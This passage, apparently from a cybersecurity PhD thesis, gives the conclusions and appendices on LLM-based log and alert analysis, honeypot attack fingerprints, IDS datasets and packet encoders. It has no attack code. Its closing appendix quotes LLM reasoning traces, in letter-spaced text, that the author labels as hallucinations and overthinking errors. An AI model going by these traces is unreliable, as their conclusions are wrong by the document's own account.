I presented four studies. In two of them, I contributed to the field of AI for

Cybersecurity, demonstrating how recent advances in NLP can help address critical

challenges in cybersecurity. Specifically, I focused on log analysis, developing

essential tools to assist and automate security experts’ workflows. Using both smaller,

dedicated Language Models (Fast Thinkers) and more sophisticated collaborations

between these models and larger "polymath" models (Slow Thinkers), I demonstrated

how analysts can i) organize raw inputs into structured collections based on semantic

similarities; ii) detect novelties and anomalies within these collections; iii) identify

the most relevant (e.g., dangerous) events; iv) receive tailored support for their

analyses.

In the other two studies, I explored challenges faced by both large and specialized

models. One key issue is that blindly relying on traditional supervised learning

signals can lead dedicated models to memorize recurring but non-generalizable

features. This contradicts the generalization promise of LLMs and highlights the

need for alternative training algorithms or methods that can automatically detect

when a model is relying on shortcuts.

At the same time, I showed that, despite their strong reasoning abilities, large

general-purpose models still struggle to autonomously identify the relevant con-

straints for a given task. Without human guidance in the retrieval process, their

real-world applicability remains limited – particularly in agent-based applications

where more autonomous and human-free operation would be desirable. Our pro-
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posed approach, FoCusNet, which incorporates a smaller support model, improves

the results. However, a comprehensive study – considering diverse datasets and task

complexities – is still needed.

Future Work and Open Challenges. The thesis leaves some natural continuations –

and open challenges – to expand the current results:

• Shortcuts Identification: Within the broader scope of interpretability, it

would be valuable to explore and develop methods to automatically detect the

features (or shortcuts) on which a model relies to solve a task. However, a key

challenge remains: Even if we can identify relevant information (e.g., through

attention-based highlighting of crucial text portions [280]), it still requires a

domain expert to determine whether the model is making valid decisions or

relying on misleading shortcuts.

• More Robust Training Methodologies: Another approach is to develop alter-

native training strategies that reduce the influence of unintended supervisory

signals. In that sense, concept embedding models [281] represent a fascinating

direction: The model learns to make predictions based on predefined con-

cepts (e.g., “has white wings” when classifying a bird). This approach offers

high interpretability, as one can simply inspect which concepts were activated.

However, it has a notable limitation: domain experts must define the relevant

concepts, which may quickly become outdated – especially in adversarial

domains like cybersecurity, where new attack strategies emerge rapidly. Alter-

natively, a more robust solution is to leverage contrastive loss, which helps the

model learn meaningful embeddings by distinguishing whether two inputs are

similar or dissimilar [277], rather than assigning them to predefined classes.

We are actively exploring this strategy and considering its extension to multi-

modal inputs (e.g., an attack capture paired with its corresponding natural

language description). This could enable CLIP-like training [42], where a

powerful NLP encoder assists a smaller model in interpreting an unfamiliar

modality – such as an attack capture.

• Multi-modal Learning: Expanding on the trajectory of Chapter 3, there are

numerous practical scenarios in which log analysis is crucial. For instance,

shifting from network logs to system logs, Endpoint Detection and Response

(EDR) systems generate multi-source data (e.g., commands executed by the
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attacker, system status such as memory and CPU usage, and the source code of

executables used by the attacker) as well as structured data (e.g., the attacker’s

trajectory within the system and the sequence of triggered processes). In such

cases, AI could offer powerful solutions. However, a major challenge remains:

collecting the necessary data to train and deploy these models is problematic,

as much of this information is often proprietary and not readily available.

• Constrained and controllable agents LLM-based agents are crucial to au-

tomating cybersecurity tasks. Although the goal is not to completely eliminate

human oversight, reducing human intervention – particularly in tasks that do

not require complex reasoning – is an important research direction. Current

LLMs still struggle, even in relatively simple scenarios such as Words Checker,

to autonomously identify relevant constraints and generate valid responses.

Understanding the extent of performance degradation and determining whether

FoCusNet remains a viable alternative in multi-constraint scenarios involving

reasoning are key aspects of our future work. However, as with many AI

agents, a key challenge lies in evaluating performance, especially as task

complexity increases.
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Appendix Chapter 3

DOTA and dhpcd over time

Fig. A.1 details the evolution over time of fingerprints that are related to the DOTA

and ShellShock attacks.

ShellShock

As another example of how fingerprints are useful in understanding attack morphing,

we compare different fingerprints that contain the word ~/.dhpcd. Recall that those

are cases of attackers trying to abuse the ShellShock vulnerability by deploying

(a) DOTA (b) dhpcd

Fig. A.1 Fingerprints for DOTA and ShellShock over time (Cyberlab dataset).
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Fig. A.2 Relationship between fingerprints related to the ShellShock attack (Cyberlab
dataset).

Fig. A.3 Examples of sessions from the communities of Fig. 2.15 (Cyberlab dataset).

a compromised DHCP server. In the Cyberlab collection, this word appears on

664 unique sessions. We focus on the three fingerprints with the largest number of

associated sessions in Fig. A.2. Each block represents a tactic in the fingerprint;

each colour is the corresponding label. We pad fingerprints to best align them and

improve visualisation.

The first fingerprint corresponds to the first occurrence of this attack. The second

fingerprint extends this fingerprint by adding some initial Discovery steps and a

Persistence step in between. Eventually, the third fingerprint is a truncated version
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of the first one which appears starting from Oct. 15th, 2019. The initial tactics are

identical, and apparently, the attacker’s script fails in the Cyberlab honeypot, either

because the attacker has updated its scripts or as a consequence of changes in the

behaviour of the honeypot after its version upgrade.

Communities explanation

See Fig. A.3 for examples of sessions related to the communities found in Sec. 2.6.5.
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Dataset details

 Operator
Packets Packets,  

Features 

Logs

Line-rate operation

       All traffic

Horizontal scaling,

    alarms only

Manual intervention,

high severity alarms

Packets,  

Features

Logs

Threat type

Severity class

Packets,  

Features

Logs

Threat type

Severity class (revised)

Incident report

Firewall   Cloud

Fig. B.1 Data collection environment

Collection environment

Fig. B.1 depicts additional details about the data collection environment. Data is

collected in a production environment where several firewall devices deployed in

customer networks perform line-rate operations on all traffic received. Firewalls raise

alerts based on an existing ruleset (we cannot disclose detailed information about

commercial products) and store the corresponding evidence packets whenever rules

are triggered based on known fingerprints. Such alerts are enriched with sensory

details (a few hundred features) that are next streamed to the Qiankun cloud for

further processing. The cloud can perform additional post-processing to extract,

among others attack severity (ℓ) and threat type information (see next). Finally,

human operators actively review part of the alarms, typically prioritizing those

with the highest expected severity [8], and possibly manually revising (notably,
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Fig. B.2 Distribution of event volume across unique event names (left) and across threat
types in our dataset (right).

de-escalating) some of the Cloud-imputed attack severity labels ℓ during the incident

analysis process.

Table B.1 Properties of the Top 10 event names in the datasets. The heatmap depicts the
breakdown of the attack severity class ℓ.

Rank Event description (eventName) % Events # Apps % Malicious [ℓ heatmap] # Source IPs # Destination IPs

1 Microsoft Windows SMB CVE-2017-0147 6.7% 2 100% 647 (0.8%) 56117 (84.8%)
2 ISC BIND VERSION Request 6.3% 1 0.03% 3215 (4.1%) 445 (0.7%)
3 SMB Anonymous Trans2 Request SESSION_SETUP 6.2% 2 100% 327 (0.4%) 57511 (86.9%)
4 SSL Certificate Signed Using Weak Hashing Algorithm 4.6% 121 0.0% 2877 (3.6%) 131 (0.2%)
5 Zgrab Scan Network Attempt 3.0% 3 100% 4304 (5.4%) 944 (1.4%)
6 Realtek Jungle SDK UDPServer Command Execution 2.6% 4 1.64% 281 (0.3%) 272 (0.4%)
7 SSL Random Scanner - Nmap Script 2.1% 8 98.9% 3788 (4.8%) 2351 (3.6%)
8 Directory Traversal Attempt - Found in HTTP URL 2.0% 16 99.8% 5943 (7.5%) 1138 (1.7%)
9 Telnet Service Weak Password Login Failed 1.1% 1 100% 17031 (21.5%) 13 (<0.1%)
10 OS Command Injection in HTTP Request Parameter 1.0% 15 99.9% 2880 (3.6%) 1046 (1.6%)

Dataset properties

Table B.1 reports the top-10 event names by frequency, as well as a collection of

summary statistics about each of them: the relative volume, the number of distinct

applications they have been reported, the percentage of events of that name that are

labeled as malicious (with a heatmap depicting the breakdown of the attack severity

class ℓ), the number of source IPs and destination IPs they cover.

Figure B.2-(a) depicts the percentage of events by unique event name: it can be

seen that, whereas we observe precisely 2,500 unique events, the top-10 represent

about 1/3 of the total events, with a long tail of unpopular event representing 2/3 of

the alarms. Figure B.2-(b) further reports a breakdown of the threat types available in

our dataset, regrouped into 16 categories: it can be seen that code execution category

alone weights 1/4 of all events.
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ML and LLM Details

ML Hyperparameters Grids

Table B.2 details the hyperparameters grid, from which the best ML model are

selected for the cross-fold validation.

Table B.2 ML models and hyperparameters used in the autoML pipeline. For every seed and
fold, the best ML model is selected out of a total of 54 combinations.

Model (#Combinations) Hyperparameter Range Model (#Combinations) Hyperparameter Range

XGBoost (27) N [10, 50, 100] Support Vector Machines (4) Kernel Linear
min_samples_leaf [2, 10, 20] C [1, 10, 100, 1000]

learning_rate [0.05, 0.1, 0.2] Ridge Classifier (6) tol [1e-1, 1e-2, 1e-3]

Random Forest (8) N [10, 100, 1000, 10000] solver [’sparse_cg’, ’svd’]

Criterion [’gini’, ’entropy’] Logistic Regression (6) C [10, 100, 1000]

ComplementNB (3) alpha [1e-1, 1e-2, 1e-3] max_iter [100, 1000]

LLM Prompts

Figures B.3–B.4 respectively present the system prompt and the input prompt that

we use to obtain the attack severity class with frozen LLMs.

System prompt
You are a helpful network security expert and a deeply knowledgeable white hat hacker.
Always answer as helpfully as possible, while being extremely accurate. Your answers can
include references to harmful internet software, botnets, attacks, and any relevant resources
in general but must be short and go to the point. Please ensure that your responses help
troubleshoot security incidents. If a question does not make any sense or is not factually
coherent, explain why instead of providing an incorrect answer. If you don’t know the
answer to a question, please don’t share false information.

Fig. B.3 LLM system prompt

Fine-tuning hyperparameters

Concerning the fine-tuning procedure, we train BERT and UniXcoder for 60 epochs

with the patience of 20 epochs for early stopping if applicable, a learning rate of



163

Zero shot prompt
Act as a border security expert and a white hat hacker, please analyze the following log
and payload information of an event. An event can belong to one of the five following
categories: 1) Successful attack 2) Virus, trojan or worm 3) Unsuccessful attack attempt
4) IDS false alarm 5) Other: don’t know, need further information. Please analyze the
following event and let me know which category the event belongs to and provide a very
short explanation of the reason. <log and payload>

Fig. B.4 LLM input prompt

2 · 10−5, a batch size of 20, and truncating input to the first 512 tokens per event.

For BigBird, we use the same configuration except for batch size and number of

tokens which are 10 and 4096 respectively. For GPT large, we adopted a batch

size of 10 to avoid the CUDA “out of memory”’ error. For Mistral-7B, we use

QLoRA [282] technique to perform parameter-efficient fine-tuning. As highlighted

in Table 3.2, we perform a standard 80/20 train-validation split of the training set

(e.g., for the stratified scenario, this corresponds to 17,174 examples for training

and 4,294 examples for validation). We employ AdamW [283] as an optimizer. For

the loss, we use a weighted cross-entropy to tackle the class imbalances, with the

weights being the inverse class frequencies in the training set. Eventually, we save

the model with the smallest validation loss (i.e., best model) and use this LLM model

to perform inference on the test set.

Event Explanation

In addition to classifying network events, it is expected that LLMs are helpful to

provide natural language format explanation E associated with the event, to explain

the reasons of the classification, and assist the human experts in understanding and

responding to potential security incidents (or, to automatically actuate configuration

changes in the network to mitigate the threat, which we do not focus on at this stage).

As previously illustrated in Fig.3.1-(c), the frozen LLM has access to a wealth of

information including:

• Raw packet payload P, collected by the monitoring device (a string of size up

to about 10 KB)
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• Attack type (eventName), either issued by RAG or by the IDS (a string of size

up to 256 B) and category (recall Fig.B.2)

• Attack severity label ℓ, issued by the fine-tuned LLM or RAG (an integer in

[1,5])

• Cyber Threat Intelligence (CTI) information about IP addresses involved in

the event (a JSON-formatted ontology, of size possibly exceeding 256 KB)

Fig. B.5 shows a snapshot of the dashboard of a full system implementation,

where all the above information is visible for one example threat (a trojan of class

ℓ=2, with pixelization of sensitive information such as IP addresses, timing, and

event identifiers). All the above elements are annotated in the dashboard for clarity:

in this context, we mostly focus on explainability aspects from the (i) fine-tuned

LLM and (ii) frozen LLM viewpoints.

Fine-tuned LLM: Token-level and keyword-level explainability

The output of fine-tuned LLM is not meant to be directly parsed by human experts.

However, fine-tuned LLM can provide frozen LLM useful information or hints about

why a given classification decision was taken. As seen from the top of Fig. B.5,

the fine-tuned LLM issues three outputs. Namely, the output consists of the class

label discussed in the main portion of this chaper, as well as two alternative ways of

explaining why the decision was taken.

Token-level explanation: Getting explanations from complex architectures such

as Transformers is challenging and several explainability methods have been pro-

posed [284–287] in different modalities. In this work, we use the Integrated Gradi-

ents [287] method that has been implemented in the Captum [288] and Transformers

Interpret [289] frameworks. The method sums the gradients for inputs along the path

from a given baseline (e.g., a zero embedding vector for text models) to the input.

It can be implemented using a few calls to the gradient operator, which applies to

various deep-learning networks. In this way, we can measure the contribution from

each token for any predicted output label.

Keyword-level explanation: In addition, we use KeyBERT [290], a keyword

extraction technique based on BERT embeddings, to identify the most salient terms
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Fig. B.5 Annotated snapshot of the dashboard, showing all elements (RAG, IDS, CTI, Frozen
and Fine-tuned LLMs) in one example security incident (with pixelization of sensitive
information such as IP addresses, timing, and event identifiers).

in the input network event. These keywords serve as a concise summary of the

event’s content and as a helper for the larger frozen LLM, to know where to focus its

attention.

Frozen LLM: Textual event explanation

Frozen LLM is used to provide a terse summary of the incident by aggregating

all information highlighted in red in the picture: notably, packet payload, CTI

information RAG/IDS, and fine-tuned LLM class, token-level and keyword-level

attention. The above information is provided to the frozen-LLM in context, i.e.,

as a prompt constructed using the input data and the predicted attack class, which

is provided as a static explanation. Additionally, the information is in context so

that humans can interact with a locally deployed model (currently: Mistral-7B or

LLama2-13B, with a pending upgrade to a frozen LLama3) for further Q&A and

assistance. It is worth noting that a principled and quantitative evaluation of these

textual explanations is challenging, which is why we preferred to separately overview

it as an Appendix, and therefore separate it from the main scope of the article.
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Pcap-Encoder details

Packet representation learning task formalization

We use the same problem formalization as the one in [191]. Consider a packet set

X = {x1,x2, ...,xn} where xi is the i-th packet, and each packet xi is represented

as an input sequence xi = {ti,1, ti,2, ..., ti,n} where ti, j is the j-th token derived from

the split of the tokenizer. The length of the vector xi can vary since the size of

packets is unfixed. In addition, each packet xi can assume a number n of labels

yi depending on the number of downstream tasks we want to solve. So, for a

downstream classification task j, yi, j ∈ C j.

To obtain the classification from the packet, we need the latent vector (packet

representation) ri ∈ R
d where d is the hidden dimension of the model. The latent

vector is obtained by combining the columns of the latent matrix Hi ∈R
d×L where L

is the number of tokens in each packet and d the dimension of a single token.

The formalization of the packet representation learning task becomes: Given the

input X and the corresponding label set Y of multiple classification tasks, the goal

is to learn a single packet representation encoder f : xi → ri that obtain accurate yi

on downstream tasks by a function g : ri → yi.
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Bottleneck

T5 provides a single representation of size 768 for each of the L tokens of the

packet. Let’s call ei, j the representation of token j for packet i. However, we want to

obtain a single representation ri of dimension 768 for the entire packet xi from the L

representations of the tokens. Hence, we need to use an aggregator or bottleneck.

This dimensionality reduction process necessarily discards a part of the information

set. We tried different architectures:

1. First pooling: a dummy solution that takes as packet representation the

embedding of the first token that is always the initial part of the question

needed by T5. The representation vector of packet i becomes:

ri = ei,0

2. Mean pooling: performs the average over the hidden vectors ei, j of the hidden

matrix. The representation vector of packet i becomes:

ri =
∑

L
j=1 ei, j

L

3. Luong attention [291]: performs a weighted average of the embeddings.

The weights, computed for each ei, j, must be positive and the sum is 1. The

representation vector of one packet becomes:

w j =
exp(e j

¦ q)

∑
L
z=1 exp(ez

¦ q)
ri =

L

∑
j=1

w je j

where q is a learnable query vector and w j is the weight associated with the

embedding vector e j.

The bottleneck is part of the trained model T5 (encoder+decoder). So, even

if the bottleneck is very simple, the underlying layers can adjust their weights to

create a meaningful representation. Therefore, having a computationally expensive

bottleneck is redundant.
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Table C.1 Retrieval and computational questions for the Q&A pre-training task.

Questions on Packets

Retrieval

Which is the TCP checksum?

Which is the destination IPv4/IPv6 of the packet?

Which is the source IPv4/IPv6 of the packet?

Which is the id of IPv4/IPv6?

Which is the time to live of IPv4/IPv6?

Computational

Is the packet’s IPv4/IPv6 checksum correct?

Which is the last byte of the header in the third layer?

Which is the length of the payload in the third layer?

Question answering dataset and results.

We created a dataset with multiple tasks for the Q&A phase starting from the datasets

already described in Subsection 4.3.4.

Table C.1 shows the 8 questions selected in the Q&A dataset. Some of the

questions are retrieval tasks that need to find the answer in the context. Others

consist of more complex tasks, such as the computation of the checksum, or the

payload length.

On this question dataset, we obtain an average accuracy of 98.2% on the test,

averaging over different tasks.

Ablation study on Pcap-Encoder pre-training.

Our ablation study examined the impact of different components in Pcap-Encoder

pipeline across the two tasks VPN-App (16) and TLS (120). Table C.2 shows a clear

performance hierarchy starting from the highest with the complete model. Removing

the autoencoder component led to a moderate decrease in performance, particularly

noticeable in the TLS task whit an accuracy drop of ≈ 8%. Most strikingly, using

only the base T5 model without any pre-training resulted in severely degraded

performance, especially on the more complex TLS dataset where the accuracy

plummeted to 8.5. These results strongly suggest that both pre-training components

contribute meaningfully to the model’s effectiveness, with the Q&A component

appearing to be particularly crucial for maintaining strong performance
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Table C.2 Results on the per-Flow Split scenario by freezing and removing the pre-training
phases of Pcap-Encoder.

VPN-app (16) TLS (120)
Model

(Flow Split) AC F1 AC F1

Autoencoder + Q&A 83.5 71.0 71.0 63.7
Q&A only 82.6 72.1 63.6 57.2

T5-base 54.5 39.8 8.5 2.5

Shallow models details

Table C.3 lists the fields selected for the training of shallow models. The specific

fields vary across datasets based on the presence or absence of the different datalink

and transport protocols.

Table C.3 Packet fields selected for the Shallow model end-to-end training. We use the
Python Scapy – https://scapy.net – package to extract them from raw traces.

Packet fields

IPv4

Source and Destination addresses, Type of service,

Internet Header Length, ID, Checksum, Flags,

Length, Protocol, Version, TTL, Fragmentation.

IPv6

Source and Destination addresses, Flow label,

Version, Payload Length, Hop Limit,

Traffic Class, Next Header

UDP Source and Destination ports, Checksum, Length.

TCP

Source and Destination ports, Timestamp,

Window, Urgent pointer, Data offset, Flags,

Checksum, Sequence and Ack numbers, Options.

Filter Details

Shown in the tableC.4, we list all protocols we filter using Tshark filters. We detail

the total number of packets each filter removes from each trace. From the results, we

can see that the main protocols involved are closely related to network management,

link-local communication (link-local), and NAT (especially STUN). The CSTN trace

was already cleaned, while the other contains from 5 to 10% of unrelated protocols.
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Table C.4 The protocols we filter and number and percentage (in parenthesis) of removed
packets for each dataset.

Type Protocols ISCX-VPN USTC-TFC CSTN-TLS1.3

link-local

protocols
llmnr, nbns, mdns, lsd

922347
(3.45%)

227413
(3.93%)

0

network management

protocols

icmp, icmpv6, dhcp, dhcpv6,
igmp, snmp, arp, cops

437020
(1.63%)

373641
(6.46%)

0

nat

protocols
nat-pmp, rsip, stun

205660
(0.77%)

68
(<0.01%)

0

route management

protocols

db-lsp, db-lsp-disc, pathport, stp,
bfd echo, bgp, ecmp, asap

21914
(0.08%)

656
(0.01%)

0

service management

protocols
ssdp, lldp, srvloc, opa, cbsp

8696
(0.03%)

3812
(0.07%)

0

real time

protocols
rtcp

2763
(<0.01%)

0 0

network time

protocols
ntp

2386
(<0.01%)

35
(<0.01%)

0

link management

protocols
llc, ipxsap

1582
(<0.01%)

0 0

distributed

protocols
thrift, dcerpc, rmi

182
(<0.01%)

5
(<0.01%)

0

security

protocols
ocsp, pkix-cert, egd, chargen, tpm, knet

170
(<0.01%)

134
(<0.01%)

0

industrial

protocols

r-goose, dcp-pft, dcp-af, vicp
nxp 802154 sniffer, enip, c1222, ax4000

107
(<0.01%)

61
(<0.01%)

0

remote access

protocols
vnc, x11, msnms

75
(<0.01%)

6
(<0.01%)

0

file

protocols

lanman, bjnp, spoolss, ndps,
laplink, bzr, cvspserver

62
(<0.01%)

129
(<0.01%)

0

quake

protocols

quake, quake2, quake3,
quakeworld

0
4

(<0.01%)
0

mobile

protocols
gsm, ipa, gtp 0

18
(<0.01%)

0

iot management

protocols

bat.vis, tplink-smarthome,
coap,mqtt

0
11

(<0.01%)
10

(<0.01%)
others

protocols
tds, bitcoin 0

7
(<0.01%)

0

Feature importance in shallow models

For completeness, we provide the feature importance the Random Forest produces.

We report them in Fig. C.1 when IP addresses are available (left plot) or not (right

plot) for training. We consider the per-packet split scenario to highlight the shortcuts

on explicit and implicit flow IDs. IP addresses are explicit flow IDs and indeed the

model reaches an accuracy of 98.9%. The most relevant features are the different

octets of the source and destination IP addresses (left plot, see SRC IP3, DST IP2,

SRC IP1, SRC IP0 and DST IP3)1. Without IP addresses, the random forest has

1Recall that we use bi-flows, and the source/destination IP addresses can correspond to both the
client and server.
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Fig. C.1 Feature importance for the Random Forest model.

to rely on other fields. Still, the performance is almost as good with an accuracy

of 92.6%. These are driven by implicit flow IDs, such as the TCP sequence and

acknowledgement numbers that pop among top important features.
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LLM prompts

We here provide the prompts we used for the LLM inference:

Simple Prompt.“Check if the following sentence contains one of the following

set of words. Only answer True or False. Ensure to include your final answer

into <answer></answer>. For instance, if the sentence contains one of the words,

answer <answer>True</answer>; <answer>False</answer> otherwise.”

Chain of Thought.“Your task is to check if the sentence contains one of the fol-

lowing set of words. Answer True or False. Please, make sure to think step

by step. Ensure to include your final answer into <answer></answer>. For in-

stance, if the sentence contains one of the words, answer <answer>True</answer>;

<answer>False</answer> otherwise.”

Best of 3.:

– For the judges, we use: “Check if the following sentence contains one of

the following set of words. Do not include your reasoning process in the answer;

Provide a short explanation (at most 100 words) to justify your answer. Conclude

your sentence with <answer>your answer</answer>, where your answer is either

True or False.”

– For the final verdict: “Give me your final opinion over the verdicts of a jury

of {args.n_rounds} LLMs. When prompted the following message: <message> A

jury of LLMs answered: <answer> What is your final verdict? Just answer True
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or False: Ensure to include your final answer into <answer></answer>. For in-

stance, if the sentence contains one of the words, answer <answer>True</answer>;

<answer>False</answer> otherwise.”

Examples of LLMs answers

We here report some of the erroneous answers the LLM might return.

Hallucinations. Here, the model thinks that the word “dog” is present in the list

of forbidden words when processing the sentence “dressed my dog up as a pirate”.

However, the word is not present – even if the conviction of the model would suggest

so.

Ovethinking #1. Here, the LLM, prompted to “Think Step by Step”, initially gets

the correct answer – i.e., none of the words is present in the sentence. However, it

is unsure about the answer, and in a second pass it eventually self-convince that all

words are present.

Overthinking #2. This is an example from the Best of 3 strategy. Two support

models agree that the sentence does not contain any words. However, the third model

advocates for the devil, saying that “adorn” is actually a synonym for “dress”, and

that, therefore, the sentence shall be labelled as invalid. The final judge model trust

this third model – as it can provide a convincing explanation – and (erroneously)

triggers the alert.
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Hallucination

Okay , so I need t o f i g u r e o u t which words from t h e

g i v e n l i s t a r e i n t h e s e n t e n c e : " d r e s s e d my dog up

as a p i r a t e . " The t a s k i s t o r e p o r t a l l t h e words

t h a t a r e c o n t a i n e d i n t h e s e n t e n c e . I f none a r e

found , I s h o u l d j u s t l i s t an empty l i s t .

F i r s t , I ’ l l r e a d t h e s e n t e n c e c a r e f u l l y : " d r e s s e d my

dog up as a p i r a t e . " I need t o i d e n t i f y a l l t h e

i n d i v i d u a l words i n t h i s s e n t e n c e and s e e which

ones match any from t h e p r o v i d e d l i s t .

Le t me b r e a k down t h e s e n t e n c e word by word . The

f i r s t word i s " d r e s s e d . " I s h o u l d check i f "

d r e s s e d " i s i n t h e l i s t o f words . Looking t h r o u g h

t h e l i s t , I don ’ t s e e " d r e s s e d " t h e r e . So t h a t ’ s

one word n o t p r e s e n t .

Next i s "my . " Checking t h e l i s t , "my" i s n ’ t t h e r e

e i t h e r . Moving on .

The t h i r d word i s " dog . " I ’ l l l oo k f o r " dog " i n t h e

l i s t . Hmm, I don ’ t s e e i t e i t h e r . So " dog " i s n ’ t

p r e s e n t .

Then we have " up . " Scann ing t h e l i s t , " up " i s n ’ t

l i s t e d . So t h a t ’ s a n o t h e r word n o t found .

The n e x t word i s " a s . " Checking t h e l i s t , " a s " i s n ’ t

t h e r e . So t h a t ’ s n o t p r e s e n t .

F i n a l l y , " a p i r a t e . " So " a " and " p i r a t e . " Checking

t h e l i s t , " a " i s n ’ t t h e r e , b u t " p i r a t e " i s i n t h e

l i s t . Wait , l e t me double − check . The l i s t i n c l u d e s
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" p i r a t e " a s one o f t h e words . So " p i r a t e " i s

p r e s e n t .

Wait , b u t t h e s e n t e n c e s a y s " a s a p i r a t e , " so " a " i s

p a r t o f t h a t ph ra se , b u t " a " i s n ’ t i n t h e l i s t . So

on ly " p i r a t e " i s i n t h e l i s t .

Le t me go t h r o u g h t h e l i s t a g a i n t o make s u r e I didn ’

t miss any . The words p r o v i d e d a r e q u i t e e x t e n s i v e

, b u t I o n l y found " p i r a t e " i n t h e s e n t e n c e .

So , t h e o n l y word from t h e l i s t t h a t ’ s i n t h e

s e n t e n c e i s " p i r a t e . "

</ t h i n k >

<answer > True </ answer >

Overthinking

Okay , so I ’ ve g o t t h i s t a s k where I need t o check

which words from a g i v e n l i s t a r e p r e s e n t i n a

s p e c i f i c s e n t e n c e . The s e n t e n c e i s : " w i n n e r s

podium wi th n u m e r a l s on t h e sky " . The words

p r o v i d e d a r e q u i t e a l ong l i s t , so I need t o make

s u r e I go t h r o u g h each one c a r e f u l l y .

F i r s t , I ’ l l r e a d t h e s e n t e n c e a g a i n t o u n d e r s t a n d t h e

c o n t e x t . I t m e n t i o n s " w i n n e r s " , " podium " , "

n u m e r a l s " , and " sky " . I need t o s e e which of t h e

g i v e n words match any of t h e s e t e r m s or a r e

r e l a t e d i n meaning .

Looking a t t h e l i s t o f words , I ’ l l go t h r o u g h them

one by one . S t a r t i n g wi t h " headlamp " − doesn ’ t

seem r e l e v a n t . " S u c c e s s " − maybe , b u t t h e s e n t e n c e

doesn ’ t e x p l i c i t l y ment ion s u c c e s s . " W r e s t l e " −

no , t h a t ’ s u n r e l a t e d . " Cr e a s e " − n o t h e r e . "

P o u l t r y " − d e f i n i t e l y n o t . " S o f t b a l l " − nope . "
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Rodeo " − no . " B a i t " − n o t p r e s e n t . " Therapy " −

doesn ’ t f i t . " W h i s t l e " − no . " N a v i g a t e " − n o t i n

t h e s e n t e n c e . "Aim" − maybe , b u t n o t d i r e c t l y . "

A t t a c h " − no . " Melody " − no . "Mock" − no . " P a s t u r e

" − no . " Pas s " − p o s s i b l y , b u t n o t d i r e c t l y . "

C o l l e g e " − no . " Header " − no . " Walker " − no . "

R e s i d e n t " − no . " Calm " − maybe , b u t n o t i n c o n t e x t

. " T i g e r " − no . " Hunte r " − no . " Ambush " − no . "

Motorboa t " − no . " P o s i t i o n " − maybe , b u t n o t

c l e a r l y . " Squeeze " − no . " Lease " − no . " Bubble " −

no . " Wrap " − no . " Bounce " − no . " T e l l e r " − no . "

P a t t e r n " − no . " H e a d q u a r t e r s " − no . " B r i g h t n e s s " −

no . " Bal l room " − no . " B i r t h " − no . " S t a t u e " − no .

" Submarine " − no . " Ki s s " − no . " I n d o o r " − no . "

E n t r y " − no . " E x h i b i t i o n " − no . " P roceed " − maybe ,

b u t n o t d i r e c t l y . " Prey " − no . " P u f f i n " − no . "

F r i e n d " − no . " Swoop " − no . " A s t e r o i d " − no . " F l a g

" − no . " Hamburger " − no . " S t o o l " − no . " Beg " − no

. " Resource " − no . " E l e c t r i c i t y " − no . " B a c k s e a t "

− no . " Anx ie ty " − no . " Shadow " − no . " Lego " − no .

" Uniform " − no . " Earn " − no . " Shepherd " − no . "

Marathon " − no . " L i q u i d " − no . " Theme " − no . "

Bomber " − no . " Thanksg ive " − no . " Reques t " − no . "

R e s i s t a n c e " − no . " Climb " − no . " C a n t i l e v e r " − no .

" Bag " − no . " Push " − no . " P r o j e c t o r " − no . "

Undergo " − no . " Accompany " − no . " C h a r a c t e r i s t i c "

− no . " Nur se ry " − no . " S a l t " − no . " Mull " − no . "

Workman" − no . " S u n s e t " − no . " Engrave " − no . "

S l i c e " − no . " Crop " − no . " C l a r i n e t " − no . " K i l l "

− no . " Blouse " − no . " P u r p l e " − no . " D i s a p p o i n t " −

no . " Segment " − no . " Shoa l " − no . "Memo" − no . "

C i t e " − no . " Hope " − no . " D e f o r e s t a t i o n " − no . "

D i a l " − no . " Tree " − no . " M i l i t a n t " − no .

Wait , I t h i n k I might have missed " podium " . Le t me

check a g a i n . Yes , " podium " i s i n t h e s e n t e n c e . So

t h a t ’ s one word . Also , " w i n n e r s " i s a n o t h e r . "

Numerals " i s t h e r e t o o . " Sky " i s men t ioned as w e l l
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. Le t me make s u r e none o f t h e o t h e r words a r e i n

t h e s e n t e n c e . " With " i s a p r e p o s i t i o n , b u t i t ’ s

n o t l i s t e d as a word t o check . So t h e words i n t h e

s e n t e n c e t h a t match t h e l i s t a r e winners , podium ,

numera l s , and sky .

Wait , b u t t h e o r i g i n a l l i s t i n c l u d e s " sky " as one of

t h e words . So I s h o u l d i n c l u d e t h a t . So t h e words

a r e winners , podium , numera l s , and sky .

</ t h i n k >

<answer > True </ answer >
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Overthinking #2

Give me your f i n a l o p i n i o n ov e r t h e v e r d i c t s o f a

j u r y o f 3 LLMs .

When prompted t h e f o l l o w i n g message : Task : Check i f

t h e f o l l o w i n g s e n t e n c e c o n t a i n s one o f t h e

f o l l o w i n g s e t o f words . Do n o t i n c l u d e your

r e a s o n i n g p r o c e s s i n t h e a n s e r ; P r o v i d e a s h o r t

e x p l a n a t i o n ( a t most 100 words ) t o j u s t i f y your

answer . Conclude your s e n t e n c e wi th <answer > your

answer < / answer > , where your answer i s e i t h e r True

o r F a l s e .

S e n t e n c e : d r e s s e d my dog up as a p i r a t e .

Words : [ massage , c o n t a i n e r , l e n g t h , h a i r s t y l e ,

mountain , l e s s o n , shop , b o u t i q u e , g l i d e r , i r o n ,

s t e a l , o r a n g u t a n , o v e r a l l , b l u r , l ava , e q u e s t r i a n ,

e x e r t , hear , scuba , s l i c e , m a n u f a c t u r i n g ,

p e r s o n a l i t y , decor , cemete ry , p l a n t a t i o n , ea r ,

e x c i t e , a rgue , i n s c r i p t i o n , cook , d e i t y , p a l l e t ,

s k y l i n e , hose , chromosome , awning , c o n t r a i l , brand

, r i g h t , medina , ca twa lk , s h e e r , b e r t h , lamb ,

compla in , impres s , i g n o r e , onion , t h r i v e , sme l l ,

g u i t a r i s t , e f f e c t , header , aim , ask , dome , p a n i n i ,

h e a d d r e s s , t a b l e , adorn , e v a c u a t e , s p a r k l e ,

g i r l f r i e n d , synchrony , e x p o r t , t ag , pu f f , s choo l ,

f i d d l e , queue , beam , medal , i n t e n s i f y , d i s t a n c e ,

alm , b u l l f i g h t , mida i r , mangrove , b l e s s , wal l , mow

, u n i v e r s e , cand l e , ga laxy , r e e l , soa r , worship ,

sneeze , g a l l o p , c l ank , chimney , he lmet , a l low ,

l e a t h e r , embrace , i c e b e r g , l a n t e r n , s t r i d e ,

v a c a t i o n , wallow ]

A j u r y o f LLMs answered :

Judge 0 : < t h i n k >

Okay , so I need t o check i f t h e s e n t e n c e " d r e s s e d my

dog up as a p i r a t e " c o n t a i n s any of t h e g i v e n
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words . Le t me go t h r o u g h each word one by one t o

make s u r e I don ’ t miss any .

